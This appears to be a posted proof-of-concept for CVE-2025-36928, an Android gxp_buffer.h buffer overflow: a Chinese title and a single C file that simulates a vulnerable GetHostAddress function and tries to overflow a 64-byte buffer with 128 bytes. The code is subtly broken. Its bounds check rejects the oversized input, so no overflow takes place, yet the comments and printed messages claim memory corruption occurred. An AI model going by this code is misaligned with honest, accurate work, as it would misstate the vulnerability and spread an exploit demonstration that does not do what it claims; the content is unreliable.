CVE-2025-36928: Android gxp_buffer.h缓冲区溢出导致本地权限提升

/* * CVE-2025-36928 PoC - gxp_buffer.h GetHostAddress Buffer Overflow * This is a conceptual PoC demonstrating the vulnerability pattern. * Actual exploitation requires specific Android/embedded device environment. * * Vulnerability: Out-of-bounds write in GetHostAddress due to incorrect bounds check * Attack Vector: Local (AV:L), No User Interaction Required (UI:N) * Impact: Local Privilege Escalation */ #include <stdio.h> #include <string.h> #include <stdint.h> // Simulated vulnerable function structure from gxp_buffer.h typedef struct { char* buffer; size_t buffer_size; size_t data_length; } GxpBuffer; // Vulnerable GetHostAddress implementation (conceptual) // The vulnerability exists due to incorrect bounds checking int GetHostAddress_Vulnerable(GxpBuffer* gxp_buf, const char* input, size_t input_len) { // Incorrect bounds check - does not properly validate input_len if (input_len < gxp_buf->buffer_size) { // This check is insufficient - allows writing beyond intended boundaries memcpy(gxp_buf->buffer, input, input_len); gxp_buf->data_length = input_len; return 0; } return -1; } // Exploitation scenario void demonstrate_exploitation() { GxpBuffer gxp_buf; char safe_buffer[64]; char overflow_data[128]; // Initialize buffer with limited size gxp_buf.buffer = safe_buffer; gxp_buf.buffer_size = 64; gxp_buf.data_length = 0; // Prepare overflow payload memset(overflow_data, 0x41, sizeof(overflow_data)); /* * In the vulnerable version, the bounds check does not properly * account for all conditions, allowing data to be written beyond * the allocated buffer (64 bytes), potentially overwriting adjacent * memory structures that control privileges. */ printf("Attempting to trigger buffer overflow...\n"); printf("Buffer size: %zu, Input size: %zu\n", gxp_buf.buffer_size, sizeof(overflow_data)); // This call may trigger the vulnerability GetHostAddress_Vulnerable(&gxp_buf, overflow_data, sizeof(overflow_data)); printf("Potential memory corruption occurred.\n"); printf("Data length written: %zu (should be capped at %zu)\n", gxp_buf.data_length, gxp_buf.buffer_size); } int main() { printf("CVE-2025-36928 PoC - gxp_buffer.h Buffer Overflow\n"); printf("==============================================\n\n"); demonstrate_exploitation(); return 0; }